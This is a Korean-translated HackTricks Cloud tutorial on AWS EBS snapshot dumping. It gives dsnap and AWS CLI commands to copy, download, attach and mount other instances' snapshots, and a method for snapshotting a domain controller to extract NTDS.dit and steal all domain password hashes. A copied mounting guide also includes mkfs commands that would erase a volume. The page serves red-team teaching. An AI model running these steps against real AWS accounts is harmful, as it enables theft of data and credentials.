AWS - EBS Snapshot Dump

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

로컬로 스냅샷 확인하기

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

참고 : dsnap은 공개 스냅샷을 다운로드할 수 없게 합니다. 이를 우회하기 위해 개인 계정에 스냅샷을 복사하고 해당 스냅샷을 다운로드할 수 있습니다:

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

이 기술에 대한 자세한 내용은 https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/의 원본 연구를 확인하십시오.

Pacu를 사용하여 ebs__download_snapshots 모듈을 사용할 수 있습니다.

AWS에서 스냅샷 확인하기

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

내가 제어하는 EC2 VM에 연결 (백업 사본과 동일한 리전에 있어야 함):

단계 1: EC2 -> 볼륨으로 이동하여 원하는 크기와 유형의 새 볼륨을 생성합니다.

이 작업을 수행하려면 다음 명령을 따르세요:

EC2 인스턴스에 연결할 EBS 볼륨을 생성합니다.
EBS 볼륨과 인스턴스가 동일한 존에 있는지 확인합니다.

단계 2: 생성된 볼륨을 마우스 오른쪽 버튼으로 클릭하여 "볼륨 연결" 옵션을 선택합니다.

단계 3: 인스턴스 텍스트 상자에서 인스턴스를 선택합니다.

이 작업을 수행하려면 다음 명령을 사용하세요:

EBS 볼륨을 연결합니다.

단계 4: EC2 인스턴스에 로그인하고 lsblk 명령을 사용하여 사용 가능한 디스크를 나열합니다.

단계 5: sudo file -s /dev/xvdf 명령을 사용하여 볼륨에 데이터가 있는지 확인합니다.

위 명령의 출력이 "/dev/xvdf: data"를 보여주면 볼륨이 비어 있다는 것을 의미합니다.

단계 6: sudo mkfs -t ext4 /dev/xvdf 명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 sudo mkfs -t xfs /dev/xvdf 명령을 사용하여 xfs 형식을 사용할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다.

단계 7: 새로운 ext4 볼륨을 마운트할 디렉토리를 만듭니다. 예를 들어 "newvolume"이라는 이름을 사용할 수 있습니다.

이 작업을 수행하려면 sudo mkdir /newvolume 명령을 사용하세요.

단계 8: sudo mount /dev/xvdf /newvolume/ 명령을 사용하여 볼륨을 "newvolume" 디렉토리에 마운트합니다.

단계 9: "newvolume" 디렉토리로 이동하여 디스크 공간을 확인하여 볼륨 마운트를 유효성 검사합니다.

이 작업을 수행하려면 다음 명령을 사용하세요:

/newvolume로 디렉토리 변경합니다.
df -h . 명령을 사용하여 디스크 공간을 확인합니다. 이 명령의 출력은 "newvolume" 디렉토리의 빈 공간을 보여야 합니다.

Pacu를 사용하여 ebs__explore_snapshots 모듈을 사용하여 이 작업을 수행할 수 있습니다.

AWS에서 스냅샷 확인 (cli 사용)

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

그림자 복사

EC2:CreateSnapshot 권한을 가진 모든 AWS 사용자는 도메인 컨트롤러의 스냅샷을 생성하여 해당 인스턴스에 연결하고 Impacket의 secretsdump 프로젝트에서 사용하기 위해 NTDS.dit 및 SYSTEM 레지스트리 하이브 파일을 내보내어 모든 도메인 사용자의 해시를 도용할 수 있습니다.

이 도구를 사용하여 공격을 자동화할 수 있습니다: https://github.com/Static-Flow/CloudCopy 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수도 있습니다.

참고 자료

https://devopscube.com/mount-ebs-volume-ec2-instance/

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배우세요

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드하려면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나트위터** 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

前へAWS - EC2, EBS, SSM & VPC Post Exploitation 次へAWS - Malicious VPC Mirror

最終更新 29 日前